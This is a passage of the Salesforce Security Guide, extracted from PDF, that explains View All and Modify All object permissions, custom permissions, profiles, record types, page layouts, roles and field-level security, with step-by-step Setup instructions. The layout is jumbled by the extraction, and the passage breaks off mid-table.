View All Lookup Viewing record names in all lookup Administrators and users who need
Record Names and system fields. to see all information about a record,
such as its related records and the
Owner, Created By, and Last Modified
By fields. This permission only applies
to lookup record names in list views
and record detail pages.

View All and Modify All are not available for ideas, price books, article types, and products.

94
Salesforce Security Guide Object Permissions

View All and Modify All allow for delegation of object permissions only. To delegate user administration and custom object administration
duties, define delegated administrators.
View All for a given object doesn't automatically give access to its detail objects. In this scenario, users must have Read access granted
via sharing to see any associated child records to the parent record.
View All Users is available if your organization has User Sharing, which controls user visibility in the organization. To learn about User
Sharing, see User Sharing.

Comparing Security Models

Salesforce user security is an intersection of sharing, and user and object permissions. In some cases,
EDITIONS
such as in end-user record level access, it is advantageous to use sharing to provide access to records.
In other cases, such as when delegating record administration tasks like transferring records, cleansing Available in: Salesforce
data, deduplicating records, mass deleting records, and delegating workflow approval processes, Classic (not available in all
it is advantageous to override sharing and use permissions to provide access to records. orgs)
The “Read,” “Create,” “Edit,” and “Delete” permissions respect sharing settings, which control access
Available in: Enterprise,
to data at the record level. The “View All” and “Modify All” permissions override sharing settings for Performance, Unlimited,
specific objects. Additionally, the “View All Data” and “Modify All Data” permissions override sharing Developer, and
settings for all objects. Database.com Editions
The following table describes the differences between the security models.

Permissions that Respect Sharing Permissions that Override Sharing

Target audience End-users Delegated data administrators

Where managed “Read,” “Create,” “Edit,” and “Delete” object “View All” and “Modify All”
permissions;
Sharing settings

Record access levels Private, Read-Only, Read/Write, “View All” and “Modify All”
Read/Write/Transfer/Full Access

Ability to transfer Respects sharing settings, which vary by Available on all objects with “Modify All”
object

Ability to approve records, or edit and None Available on all objects with “Modify All”
unlock records in an approval process

Ability to report on all records Available with a sharing rule that states: the Available on all objects with “View All”
records owned by the public group “Entire
Organization” are shared with a specified
group, with Read-Only access

Object support Available on all objects except products, Available on most objects via object
documents, solutions, ideas, notes, and permissions
attachments
Note: View All and Modify All are
not available for ideas, price books,
article types, and products.

95
Salesforce Security Guide Custom Permissions

Permissions that Respect Sharing Permissions that Override Sharing

Group access levels determined by Roles, Roles and Subordinates, Roles and Profile or permission sets
Internal Subordinates, Roles, Internal and
Portal Subordinates, Queues, Teams, and
Public Groups

Private record access Not available Available on private contacts, opportunities,

and notes and attachments with “View All”
and “Modify All”

Ability to manually share records Available to the record owner and any user Available on all objects with “Modify All”
above the record owner in the role hierarchy

Ability to manage all case comments Not available Available with “Modify All” on cases

Custom Permissions
Use custom permissions to give users access to custom processes or apps.
EDITIONS
In Salesforce, many features require access checks that specify which users can access certain
functions. Permission set and profiles settings include built-in access settings for many entities, like Available in: both Salesforce
objects, fields, tabs, and Visualforce pages. However, permission sets and profiles don’t include Classic (not available in all
access for some custom processes and apps. For example, in a time-off manager app, users might orgs) and Lightning
need to submit time-off requests, but only a small set of users approves time-off requests. You can Experience
use custom permissions for these types of controls. Available in: Essentials,
Custom permissions let you define access checks that can be assigned to users via permission sets Group, Professional,
or profiles, similar to how you assign user permissions and other access settings. For example, you Enterprise, Performance,
can define access checks in Apex that make a button on a Visualforce page available only if a user Unlimited, and Developer
has the appropriate custom permission. Editions

You can query custom permissions in these ways. In Group and Professional
Edition organizations, you
• To determine which users have access to a specific custom permission, use Apex and do can’t create or edit custom
something like the following. permissions, but you can
install them as part of a
managed package.

Boolean hasCustomPermission =
FeatureManagement.checkPermission('your_custom_permission_api_name');

• To determine what custom permissions users have when they authenticate in a connected app, reference the user's Identity URL,
which Salesforce provides along with the access token for the connected app.

IN THIS SECTION:
Create Custom Permissions
Create custom permissions to give users access to custom processes or apps.
Edit Custom Permissions
Edit custom permissions that give users access to custom processes or apps.

96
Salesforce Security Guide Custom Permissions

Create Custom Permissions

Create custom permissions to give users access to custom processes or apps.
EDITIONS
1. From Setup, enter Custom Permissions in the Quick Find box, then select Custom
Permissions. Available in: both Salesforce
Classic (not available in all
2. Click New.
orgs) and Lightning
3. Enter the permission information: Experience
• Label—the permission label that appears in permission sets Available in: Essentials,
• Name—the unique name that’s used by the API and managed packages Group, Professional,
• Description—optionally, a description that explains what functions the permission Enterprise, Performance,
grants access to, such as “Approve time-off requests.” Unlimited, and Developer
Editions
• Connected App—optionally, the connected app that’s associated with this permission
In Group and Professional
4. Click Save. Edition organizations, you
can’t create or edit custom
permissions, but you can
install them as part of a
managed package.

USER PERMISSIONS

To create custom
permissions:
• Manage Custom
Permissions

97
Salesforce Security Guide Profiles

Edit Custom Permissions

Edit custom permissions that give users access to custom processes or apps.
EDITIONS
1. From Setup, enter Custom Permissions in the Quick Find box, then select Custom
Permissions. Available in: both Salesforce
Classic (not available in all
2. Click Edit next to the permission to change.
orgs) and Lightning
3. Edit the permission information as needed. Experience
• Label—the permission label that appears in permission sets Available in: Essentials,
• Name—the unique name that’s used by the API and managed packages Group, Professional,
• Description—optionally, a description that explains what functions the permission Enterprise, Performance,
grants access to, such as “Approve time-off requests.” Unlimited, and Developer
Editions
• Connected App—optionally, the connected app that’s associated with this permission
In Group and Professional
4. Click Save. Edition organizations, you
can’t create or edit custom
permissions, but you can
install them as part of a
managed package.

USER PERMISSIONS

To edit custom permissions:

• Manage Custom
Permissions

Profiles
Profiles define how users access objects and data, and what they can do within the application.
EDITIONS
When you create users, you assign a profile to each one.
Available in: Salesforce
Watch how you can grant users access to objects using profiles. Classic (not available in all
Who Sees What: Object Access (English only) orgs) and Lightning
Experience

Available in: Professional,

Your org includes several standard profiles where you can edit a limited number of settings. With Enterprise, Performance,
editions that contain custom profiles, you can edit all permissions and settings except the user Unlimited, Developer, and
license. In Contact Manager, Essentials Edition, and Group Edition orgs, you can assign standard Database.com Editions
profiles to your users, but you can’t view or edit the standard profiles, and you can’t create custom Custom Profiles available in:
profiles. Professional, Enterprise,
Every profile belongs to exactly one user license type. Performance, Unlimited,
and Developer Editions

IN THIS SECTION:
Work in the Enhanced Profile User Interface Page
In the enhanced profile user interface, the profile overview page provides an entry point for all settings and permissions for a profile.

98
Salesforce Security Guide Profiles

Work in the Original Profile Interface

To view a profile on the original profile page, from Setup, enter Profiles in the Quick Find box, then select Profiles, then
select the profile you want.
Manage Profile Lists
Profiles define how users access objects and data, and what they can do within the application. When you create users, you assign
a profile to each one. To view the profiles in your organization, from Setup, enter Profiles in the Quick Find box, then
select Profiles.
Edit Multiple Profiles with Profile List Views
If enhanced profile list views are enabled for your organization, you can change permissions in up to 200 profiles directly from the
list view, without accessing individual profile pages.
Clone Profiles
Instead of creating profiles, save time by cloning existing profiles and customizing them.
Viewing a Profile's Assigned Users
To view all users that are assigned to a profile from the profile overview page, click Assigned Users (in the enhanced profile user
interface) or View Users (in the original profile user interface). From the assigned users page, you can:
View and Edit Tab Settings in Permission Sets and Profiles
Tab settings specify whether a tab appears in the All Tabs page or is visible in a tab set.
Enable Custom Permissions in Profiles
Custom permissions give you a way to provide access to custom processes or apps. After you’ve created a custom permission and
associated it with a process or app, you can enable the permission in profiles.

99
Salesforce Security Guide Profiles

Work in the Enhanced Profile User Interface Page

In the enhanced profile user interface, the profile overview page provides an entry point for all
EDITIONS
settings and permissions for a profile.
To open the profile overview page, from Setup, enter Profiles in the Quick Find box, Available in: Salesforce
then select Profiles and click the profile you want to view. Classic (not available in all
orgs) and Lightning
Experience
IN THIS SECTION:
Available in: Professional,
Assign Record Types and Page Layouts in the Enhanced Profile User Interface
Enterprise, Performance,
App and System Settings in the Enhanced Profile User Interface Unlimited, Developer, and
Search in the Enhanced Profile User Interface Database.com Editions
To locate an object, tab, permission, or setting name on a profile page, type at least three Custom Profiles available in:
consecutive letters in the Find Settings box. As you type, suggestions for results that Professional, Enterprise,
match your search terms appear in a list. Click an item in the list to go to its settings page. Performance, Unlimited,
and Developer Editions

USER PERMISSIONS

To view profiles:
• View Setup and
Configuration
To delete profiles and edit
profile properties:
• Manage Profiles and
Permission Sets

100
Salesforce Security Guide Profiles

Assign Record Types and Page Layouts in the Enhanced Profile User Interface
In the enhanced profile user interface, Record Types and Page Layout Assignments settings determine
EDITIONS
the record type and page layout assignment mappings that are used when users view records.
They also determine which record types are available when users create or edit records. Available in: Salesforce
To specify record types and page layout assignments: Classic (not available in all
orgs) and Lightning
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
Experience
2. Select a profile.
Available in: Enterprise,
3. In the Find Settings... box, enter the name of the object you want and select it from the list. Performance, Unlimited,
4. Click Edit. and Developer Editions

5. In the Record Types and Page Layout Assignments section, make changes to the settings as Record types available in:
needed. Professional, Enterprise,
Performance, Unlimited,
and Developer Editions
Setting Description
Record Types Lists all existing record types for the object.
--Master-- is a system-generated record type that's used
USER PERMISSIONS
when a record has no custom record type associated with it. To edit record type and
When --Master-- is assigned, users can't set a record page layout access settings:
type to a record, such as during record creation. All other • Manage Profiles and
record types are custom record types. Permission Sets

Page Layout Assignment The page layout to use for each record type. The page layout
determines the buttons, fields, related lists, and other elements
that users with this profile see when creating records with the
associated record type. Since all users can access all record
types, every record type must have a page layout assignment,
even if the record type isn't specified as an assigned record
type in the profile.

Assigned Record Types Record types that are checked in this column are available
when users with this profile create records for the object. If
--Master-- is selected, you can't select any custom record
types; and if any custom record types are selected, you can't
select --Master--.

Default Record Type The default record type to use when users with this profile
create records for the object.

The Record Types and Page Layout Assignments settings have some variations for the following objects or tabs.

Object or Tab Variation

Accounts If your organization uses person accounts, the accounts object additionally includes
Business Account Default Record Type and Person Account Default Record Type
settings, which specify the default record type to use when the profile's users create
business or person account records from converted leads.

101
Salesforce Security Guide Profiles

Object or Tab Variation

Cases The cases object additionally includes Case Close settings, which show the page layout
assignments to use for each record type on closed cases. That is, the same record type
may have different page layouts for open and closed cases. With this additional setting,
when users close a case, the case may have a different page layout that exposes how
it was closed.

Home You can't specify custom record types for the home tab. You can only select a page
layout assignment for the --Master-- record type.

6. Click Save.

IN THIS SECTION:
Assign Record Types to Profiles in the Original Profile User Interface
After you create record types and include picklist values in them, add record types to user profiles. If you assign a default record type
to a profile, users with that profile can assign the record type to records that they create or edit.
Assign Page Layouts in the Original Profile User Interface
If you’re already working in an original profile user interface, you can access, view, and edit all page layout assignments easily in one
location.

Assign Record Types to Profiles in the Original Profile User Interface

After you create record types and include picklist values in them, add record types to user profiles.
EDITIONS
If you assign a default record type to a profile, users with that profile can assign the record type to
records that they create or edit. Available in: both Salesforce
Note: Users can view records of any record type, even if the record type is not associated Classic and Lightning
Experience
with their profile.
You can associate several record types with a profile. For example, a user needs to create hardware Available in: Professional,
and software sales opportunities. In this case, you can create and add both “Hardware” and “Software” Enterprise, Performance,
record types to the user’s profile. Unlimited, and Developer
Editions
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile. The record types available for that profile are listed in the Record Type Settings
USER PERMISSIONS
section.
3. Click Edit next to the appropriate type of record. To assign record types to
profiles:
4. Select a record type from the Available Record Types list and add it to the Selected Record Types • Customize Application
list.
Master is a system-generated record type that's used when a record has no custom record
type associated with it. When you assign Master, users can't set a record type to a record, such as during record creation. All other
record types are custom record types.

5. From Default, choose a default record type.

If your organization uses person accounts, this setting also controls which account fields display in the Quick Create area of
the accounts home page.

102
Salesforce Security Guide Profiles

6. If your organization uses person accounts, set default record type options for both person accounts and business accounts. From
the Business Account Default Record Type and then the Person Account Default Record Type
drop-down list, choose a default record type.
These settings are used when defaults are needed for both kinds of accounts, such as when converting leads.

7. Click Save.
Options in the Record Type Settings section are blank wherever no record types exist. For example, if you have two record types for
opportunities but no record types for accounts, the Edit link only displays for opportunities. In this example, the picklist values and
default value for the master are available in all accounts.

Note: If your organization uses person accounts, you can view the record type defaults for business accounts and person accounts.
Go to Account Record Type Settings in the profile detail page. Clicking Edit in the Account Record Type Settings is another way
to begin setting record type defaults for accounts.

Assign Page Layouts in the Original Profile User Interface

If you’re already working in an original profile user interface, you can access, view, and edit all page
EDITIONS
layout assignments easily in one location.
1. From Setup, enter Profiles in the Quick Find box, then select Profiles. Available in: Salesforce
Classic (not available in all
2. Select a profile.
orgs) and Lightning
3. Click View Assignment next to any tab name in the Page Layouts section. Experience
4. Click Edit Assignment. Available in: Enterprise,
5. Use the table to specify the page layout for each profile. If your organization uses record types, Performance, Unlimited,
a matrix displays a page layout selector for each profile and record type. and Developer Editions

• Selected page layout assignments are highlighted. Record types available in:
Professional, Enterprise,
• Page layout assignments you change are italicized until you save your changes.
Performance, Unlimited,
6. If necessary, select another page layout from the Page Layout To Use drop-down list and Developer Editions
and repeat the previous step for the new page layout.
7. Click Save. USER PERMISSIONS

To assign page layouts in

profiles:
• Manage Profiles and
Permission Sets

103
Salesforce Security Guide Profiles

App and System Settings in the Enhanced Profile User Interface

In the enhanced profile user interface, administrators can easily navigate, search, and modify settings
EDITIONS
for a single profile. Permissions and settings are organized into pages under app and system
categories, which reflect the rights users need to administer and use app and system resources. Available in: Salesforce
Classic (not available in all
App Settings orgs) and Lightning
Experience
Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All
underlying objects, components, data, and configurations remain the same, regardless of the Available in: Enterprise,
selected app. In selecting an app, users navigate in a set of tabs that allows them to efficiently use Performance, Unlimited,
the underlying functionality for app-specific tasks. For example, let's say you do most of your work Developer, and
in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing Database.com Editions
campaign, rather than adding the Campaigns tab to the sales app, you select Marketing from the
app drop-down to view your campaigns and campaign members.
In the enhanced profile user interface, the Apps section of the overview page contains settings that are directly associated with the
business processes that the apps enable. For example, customer service agents may need to manage cases, so the “Manage Cases”
permission is in the Call Center section of the App Permissions page. Some app settings aren't related to app permissions. For example,
to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce pages,
as well as the object and field permissions that allow them to create new time-off requests.

Note: Regardless of the currently selected app, all of a user's permissions are respected. For example, although the “Import Leads”
permission is under the Sales category, a user can import leads even while in the Service app.

System Settings
Some system functions apply to an organization and not to any single app. For example, login hours and login IP ranges control a user's
ability to log in, regardless of which app the user accesses. Other system functions apply to all apps. For example, the “Run Reports” and
“Manage Dashboards” permissions allow managers to create and manage reports in all apps. In some cases, such as with “Modify All
Data,” a permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader.

Search in the Enhanced Profile User Interface

To locate an object, tab, permission, or setting name on a profile page, type at least three consecutive
EDITIONS
letters in the Find Settings box. As you type, suggestions for results that match your search
terms appear in a list. Click an item in the list to go to its settings page. Available in: Salesforce
Search terms aren’t case-sensitive. For some categories, you can search for the specific permission Classic (not available in all
or setting name. For other categories, search for the category name. orgs) and Lightning
Experience
Item Search for Example The available profile
permissions and settings
Assigned apps App name Type sales in the Find Settings box, then
vary according to which
select Sales from the list.
Salesforce edition you have.
Objects Object name Let’s say you have an Albums custom object.
Type albu, then select Albums. USER PERMISSIONS

To find permissions and

settings in a profile:
• View Setup and
Configuration

104
Salesforce Security Guide Profiles

Item Search for Example

• Fields Parent object name Let’s say your Albums object contains a Description field. To find
the Description field for albums, type albu, select Albums,
• Record types
and scroll down to Description under Field Permissions.
• Page layout assignments

Tabs Tab or parent object name Type rep, then select Reports.

App and system permissions Permission name Type api, then select API Enabled.

All other categories Category name To find Apex class access settings, type apex, then select Apex
Class Access. To find custom permissions, type cust, then
select Custom Permissions. And so on.

If no results appear in a search:

• Check if the permission, object, tab, or setting you’re searching for is available in the current organization.
• Verify that the item you’re searching for is available for the user license that’s associated with the current profile. For example, a
profile with the High Volume Customer Portal license doesn’t include the “Modify All Data” permission.
• Ensure that your search term contains at least three consecutive characters that match the name of the item you want to find.
• Make sure that you spelled the search term correctly.

Work in the Original Profile Interface

To view a profile on the original profile page, from Setup, enter Profiles in the Quick Find
EDITIONS
box, then select Profiles, then select the profile you want.
On the profile detail page, you can: Available in: Salesforce
Classic (not available in all
• Edit the profile
orgs) and Lightning
• Create a profile based on this profile Experience
• For custom profiles only, click Delete to delete the profile
Available in: Professional,
Note: You can’t delete a profile that’s assigned to a user, even if the user is inactive. Enterprise, Performance,
Unlimited, Developer, and
• View the users who are assigned to this profile Database.com Editions

Custom Profiles available in:

IN THIS SECTION: Professional, Enterprise,
Performance, Unlimited,
Edit Profiles in the Original Profile Interface
and Developer Editions
Profiles define how users access objects and data and what they can do within the application.
In standard profiles, you can edit a limited number of settings. In custom profiles, you can edit
all available permissions and settings, except the user license.

105
Salesforce Security Guide Profiles

Edit Profiles in the Original Profile Interface

Profiles define how users access objects and data and what they can do within the application. In
EDITIONS
standard profiles, you can edit a limited number of settings. In custom profiles, you can edit all
available permissions and settings, except the user license. Available in: Salesforce
Note: Editing some permissions can result in enabling or disabling other ones. For example, Classic (not available in all
orgs) and Lightning
enabling “View All Data” enables “Read” for all objects. Likewise, enabling “Transfer Leads”
Experience
enables “Read” and “Create” on leads.
Available in: Professional,
Tip: If enhanced profile list views are enabled for your organization, you can change
Enterprise, Performance,
permissions for multiple profiles from the list view.
Unlimited, Developer, and
1. From Setup, enter Profiles in the Quick Find box, then select Profiles. Database.com Editions
2. Select the profile you want to change. Custom Profiles available in:
3. On the profile detail page, click Edit. Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS

To edit app and system

permissions in profiles:
• Manage Profiles and
Permission Sets
To edit app and system as
well as object and field
permissions in profiles:
• Manage Profiles and
Permission Sets
AND
Customize Application

106
Salesforce Security Guide Profiles

Manage Profile Lists

Profiles define how users access objects and data, and what they can do within the application.
EDITIONS
When you create users, you assign a profile to each one. To view the profiles in your organization,
from Setup, enter Profiles in the Quick Find box, then select Profiles. Available in: Salesforce
Classic (not available in all
Viewing Enhanced Profile Lists orgs) and Lightning
Experience
If enhanced profile list views are enabled for your organization, you can use additional tools to
customize, navigate, manage, and print profile lists. Available in: Professional,
Enterprise, Performance,
• Show a filtered list of profiles by selecting a view from the drop-down list. Unlimited, Developer, and
• Delete a view by selecting it from the drop-down list and clicking Delete. Database.com Editions
• Create a list view or edit an existing view. Custom Profiles available in:
• Create a profile. Professional, Enterprise,
• Print the list view by clicking . Performance, Unlimited,
and Developer Editions
•
Refresh the list view after creating or editing a view by clicking .
• Edit permissions directly in the list view. USER PERMISSIONS
• View or edit a profile by clicking its name.
To view profiles, and print
• Delete a custom profile by clicking Del next to its name. profile lists:
• View Setup and
Note: You can’t delete a profile that’s assigned to a user, even if the user is inactive.
Configuration
To delete profile list views:
• Manage Profiles and
Viewing the Basic Profile List Permission Sets
• Create a profile. To delete custom profiles:
• View or edit a profile by clicking its name. • Manage Profiles and
Permission Sets
• Delete a custom profile by clicking Del next to its name.

107
Salesforce Security Guide Profiles

Edit Multiple Profiles with Profile List Views

If enhanced profile list views are enabled for your organization, you can change permissions in up
EDITIONS
to 200 profiles directly from the list view, without accessing individual profile pages.
Editable cells display a pencil icon ( ) when you hover over the cell, while non-editable cells display Available in: Salesforce
a lock icon ( ). In some cases, such as in standard profiles, the pencil icon appears but the setting Classic (not available in all
is not actually editable. orgs) and Lightning
Experience
Warning: Use care when editing profiles with this method. Because profiles affect a user's
fundamental access, making mass changes may have a widespread effect on users in your Available in: Enterprise,
organization. Performance, Unlimited,
Developer, and
1. Select or create a list view that includes the profiles and permissions you want to edit. Database.com Editions
2. To edit multiple profiles, select the checkbox next to each profile you want to edit.
If you select profiles on multiple pages, Salesforce remembers which profiles are selected. USER PERMISSIONS
3. Double-click the permission you want to edit. To edit multiple profiles from
For multiple profiles, double-click the permission in any of the selected profiles. the list view:
• Manage Profiles and
4. In the dialog box that appears, enable or disable the permission. Permission Sets
In some cases, changing a permission may also change other permissions. For example, if AND
“Customize Application” and “View Setup and Configuration” are disabled and you enable
Customize Application
“Customize Application,” then “View Setup and Configuration” is also enabled. In this case, the
dialog box lists the affected permissions.

5. To change multiple profiles, select All n selected records (where n is the number of profiles you selected).
6. Click Save.

Note:
• For standard profiles, inline editing is available only for the “Single Sign-On” and “Affected By Divisions” permissions.
• If you edit multiple profiles, only those profiles that support the permission you are changing will change. For example, if you
use inline editing to add “Modify All Data” to multiple profiles, but because of its user license the profile doesn't have “Modify
All Data,” the profile won't change.

If any errors occur, an error message appears, listing each profile in error and a description of the error. Click the profile name to open
the profile detail page. The profiles you've clicked appear in the error window in gray, strike-through text. To view the error console, you
must have pop-up blockers disabled for the Salesforce domain.
Any changes you make are recorded in the setup audit trail.

108
Salesforce Security Guide Profiles

Clone Profiles
Instead of creating profiles, save time by cloning existing profiles and customizing them.
EDITIONS
Tip: If you clone profiles to enable certain permissions or access settings, consider using
permission sets. For more information, see Permission Sets. Also, if your profile name contains Available in: Salesforce
more than one word, avoid extraneous spacing. For example, “Acme User” and “Acme User” Classic (not available in all
orgs) and Lightning
are identical other than spacing between “Acme” and “User.” Using both profiles in this case
Experience
can result in confusion for admins and users.
1. From Setup, enter Profiles in the Quick Find box, then select Profiles. Available in: Professional,
Enterprise, Performance,
2. In the Profiles list page, do one of the following: Unlimited, Developer, and
• Click New Profile, then select an existing profile that’s similar to the one you want to create. Database.com Editions
• If enhanced profile list views are enabled, click Clone next to a profile that’s similar to the Custom Profiles available in:
one you want to create. Professional, Enterprise,
• Click the name of a profile that’s similar to the one you want to create, then in the profile Performance, Unlimited,
page, click Clone. and Developer Editions

A new profile uses the same user license as the profile it was cloned from.
USER PERMISSIONS
3. Enter a profile name.
4. Click Save. To create profiles:
• Manage Profiles and
Permission Sets

Viewing a Profile's Assigned Users

To view all users that are assigned to a profile from the profile overview page, click Assigned Users
EDITIONS
(in the enhanced profile user interface) or View Users (in the original profile user interface). From
the assigned users page, you can: Available in: Salesforce
• Create one or multiple users Classic (not available in all
orgs) and Lightning
• Reset passwords for selected users
Experience
• Edit a user
Available in: Professional,
• View a user's detail page by clicking the name, alias, or username
Enterprise, Performance,
• View or edit a profile by clicking the profile name Unlimited, Developer, and
• If Google Apps™ is enabled in your organization, export users to Google and create Google Database.com Editions
Apps accounts by clicking Export to Google Apps
Custom Profiles available in:
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

109
Salesforce Security Guide Profiles

View and Edit Tab Settings in Permission Sets and Profiles

Tab settings specify whether a tab appears in the All Tabs page or is visible in a tab set.
EDITIONS
1. From Setup, either:
Available in: Salesforce
• Enter Permission Sets in the Quick Find box, then select Permission Sets, or
Classic (not available in all
• Enter Profiles in the Quick Find box, then select Profiles orgs)
2. Select a permission set or profile. Tab settings available in: All
3. Do one of the following: Editions except
Database.com
• Permission sets or enhanced profile user interface—In the Find Settings... box, enter the
name of the tab you want and select it from the list, then click Edit. Permission sets available in:
Contact Manager,
• Original profile user interface—Click Edit, then scroll to the Tab Settings section.
Professional, Group,
4. Specify the tab settings. Enterprise, Performance,
Unlimited, Developer, and
5. (Original profile user interface only) To reset users’ tab customizations to the tab visibility settings Database.com Editions
that you specify, select Overwrite users' personal tab customizations.
Profiles available in:
6. Click Save.
Professional, Enterprise,
Note: If Salesforce CRM Content is enabled for your organization but the Salesforce CRM Performance, Unlimited,
Content User checkbox isn’t enabled on the user detail page, the Salesforce CRM Content Developer, and
app has no tabs. Database.com Editions

USER PERMISSIONS

To view tab settings:

• View Setup and
Configuration
To edit tab settings:
• Manage Profiles and
Permission Sets

110
Salesforce Security Guide Profiles

Enable Custom Permissions in Profiles

Custom permissions give you a way to provide access to custom processes or apps. After you’ve
EDITIONS
created a custom permission and associated it with a process or app, you can enable the permission
in profiles. Available in: both Salesforce
1. From Setup, enter Profiles in the Quick Find box, then select Profiles. Classic (not available in all
orgs) and Lightning
2. Select a profile.
Experience
3. Depending on which user interface you’re using, do one of the following.
Available in: Essentials,
• Enhanced profile user interface: Click Custom Permissions, and then click Edit. Group, Professional,
• Original profile user interface: In the Enabled Custom Permissions related list, click Edit. Enterprise, Performance,
Unlimited, and Developer
4. To enable custom permissions, select them from the Available Custom Permissions list and Editions
click Add. To remove custom permissions from the profile, select them from the Enabled Custom
In Group and Professional
Permissions list and click Remove.
Edition organizations, you
5. Click Save. can’t create or edit custom
permissions, but you can
install them as part of a
managed package.

USER PERMISSIONS

To enable custom
permissions in profiles:
• Manage Profiles and
Permission Sets

111
Salesforce Security Guide Create a User Role

Create a User Role

Salesforce offers a user role hierarchy that you can use with sharing settings to determine the levels
EDITIONS
of access that users have to your Salesforce org’s data. Roles within the hierarchy affect access on
key components such as records and reports. Available in: both Salesforce
Users at any role level can view, edit, and report on all data that’s owned by or shared with users Classic (not available in all
below them in their role hierarchy, unless your org’s sharing model for an object specifies otherwise. orgs) and Lightning
Specifically, in the Organization-Wide defaults related list, you can disable the Grant Access Using Experience
Hierarchies option for a custom object. When disabled, only the record owner and users who are Available in: Professional,
granted access by the organization-wide defaults receive access to the object’s records. Enterprise, Performance,
1. From Setup, in the Quick Find box, enter Roles, then select Roles. Unlimited, and Developer
Editions
2. If the “Understanding Roles” page is displayed, click Set Up Roles.
3. Find the role under which you want to add the new role. Click Add Role.
USER PERMISSIONS
4. Add a Label for the role. The Role Name field autopopulates.
5. Specify who the role reports to. The field is already populated with the role name under which To view roles and role
hierarchy:
you added the new role, but you can also edit the value here.
• View Roles and Role
6. Optionally, specify how the role name is displayed in reports. If the role name is long, consider Hierarchy
using an abbreviation for reports. To create, edit, and delete
7. Specify the role’s access to contacts, opportunities, and cases. roles:
• Manage Roles
For example, you can set the contact access so that users in a role can edit all contacts associated
with accounts that they own, regardless of who owns the contacts. And you can set the To assign users to roles:
opportunity access so that users in a role can edit all opportunities associated with accounts • Manage Internal Users
that they own, regardless of who owns the opportunities.

8. Click Save.

Note: After you share a folder with a role, it’s visible only to users in that role, not to superior roles in the hierarchy.

Share Objects and Fields

Give specific object or field access to selected groups or profiles.

IN THIS SECTION:
Field-Level Security
Field-level security settings let you restrict users’ access to view and edit specific fields.
Sharing Rules
Use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules give particular users greater
access by making automatic exceptions to your org-wide sharing settings.
User Sharing
User Sharing enables you to show or hide an internal or external user from another user in your organization.
What Is a Group?
A group consists of a set of users. A group can contain individual users, other groups, or the users in a particular role or territory. It
can also contain the users in a particular role or territory plus all the users below that role or territory in the hierarchy.

112
Salesforce Security Guide Field-Level Security

Manual Sharing
Manual sharing gives other users access to certain types of records, including accounts, contacts, and leads.
Organization-Wide Sharing Defaults
Define the default access level for an object’s records with organization-wide sharing settings. Organization-wide sharing settings
can be set separately for custom objects and many standard objects, and you can set different levels of access for internal and external
users.

Field-Level Security
Field-level security settings let you restrict users’ access to view and edit specific fields.
EDITIONS
Note: Who Sees What: Field-Level Security (English only)
Available in: Salesforce
Watch how you can restrict access to specific fields on a profile-by-profile basis. Classic (not available in all
orgs) and Lightning
Your Salesforce org contains lots of data, but you probably don’t want every field accessible to
Experience
everyone. For example, your payroll manager probably wants to keep salary fields accessible only
to select employees. You can restrict user access in: Available in: Professional,
Enterprise, Performance,
• Detail and edit pages
Unlimited, Developer, and
• Related lists Database.com Editions
• List views
• Reports
• Connect Offline
• Email and mail merge templates
• Custom links
• The partner portal
• The Salesforce Customer Portal
• Synchronized data
• Imported data
Page layouts and field-level security settings determine which fields a user sees. The most restrictive field access settings of the two
always applies. For example, you can have a field that’s required in a page layout but is read-only in the field-level security settings. The
field-level security overrides the page layout, so the field remains read-only.
You can define field-level security in either of these ways.
• For multiple fields on a single permission set or profile
• For a single field on all profiles
After setting field-level security, you can:
• Organize the fields on detail and edit pages by creating page layouts.

Tip: Use field-level security to restrict users’ access to fields, and then use page layouts to organize detail and edit pages within
tabs. This approach reduces the number of page layouts for you to maintain.

• Verify users’ access to fields by checking field accessibility.

• Customize search layouts to set the fields that appear in search results, in lookup dialog search results, and in the key lists on tab
home pages. To hide a field that's not protected by field-level security, omit it from the layout.

113
Salesforce Security Guide Field-Level Security

Note: Roll-up summary and formula fields are read-only on detail pages and not available on edit pages. They can also be visible
to users even though they reference fields that your users can’t see. Einstein Insights can also be visible to user even though the
insight references fields that your users can’t see. Universally required fields appear on edit pages regardless of field-level security.
The relationship group wizard allows you to create and edit relationship groups regardless of field-level security.

IN THIS SECTION:
Set Field Permissions in Permission Sets and Profiles
Field permissions specify the access level for each field in an object.
Set Field-Level Security for a Single Field on All Profiles
Field Permissions
Field permissions specify the access level for each field in an object. In permission sets and the enhanced profile user interface, the
setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields.
Classic Encryption for Custom Fields
Restrict other Salesforce users from seeing custom text fields you want to keep private. Only users with the permission “View Encrypted
Data” can see data in encrypted custom text fields.

Set Field Permissions in Permission Sets and Profiles

Field permissions specify the access level for each field in an object.
EDITIONS
1. From Setup, enter Permission Sets in the Quick Find box, then select Permission
Sets, or nter Profiles in the Quick Find box, then select Profiles. Available in: Salesforce
Classic (not available in all
2. Select a permission set or profile.
orgs) and Lightning
3. Depending on which interface you're using, do one of the following: Experience
• Permission sets or enhanced profile user interface—In the Find Settings... box, enter the Available in: Professional,
name of the object you want and select it from the list. Click Edit, then scroll to the Field Enterprise, Performance,
Permissions section. Unlimited, Developer, and
• Original profile user interface—In the Field-Level Security section, click View next to the Database.com Editions
object you want to modify, and then click Edit.

4. Specify the field's access level. USER PERMISSIONS

5. Click Save. To set field-level security:
• Manage Profiles and
Permission Sets
AND
Customize Application

114
Salesforce Security Guide Field-Level Security

Set Field-Level Security for a Single Field on All Profiles

1. From the management settings for the field’s object, go to the fields area.
EDITIONS
2. Select the field you want to modify.
Available in: Salesforce
3. Click View Field Accessibility.
Classic (not available in all
4. Specify the field's access level. orgs)

Available in: Professional,

Enterprise, Performance,
Unlimited, and Developer
Editions

USER PERMISSIONS

To set field-level security:

• Manage Profiles and
Permission Sets
AND
Customize Application

Field Permissions
Field permissions specify the access level for each field in an object. In permission sets and the
EDITIONS
enhanced profile user interface, the setting labels differ from those in the original profile user
interface and in field-level security pages for customizing fields. Available in: Salesforce
Classic (not available in all
Access Level Enabled Settings in Enabled Settings in orgs) and Lightning
Permission Sets and Original Profile and Experience
Enhanced Profile User Field-Level Security
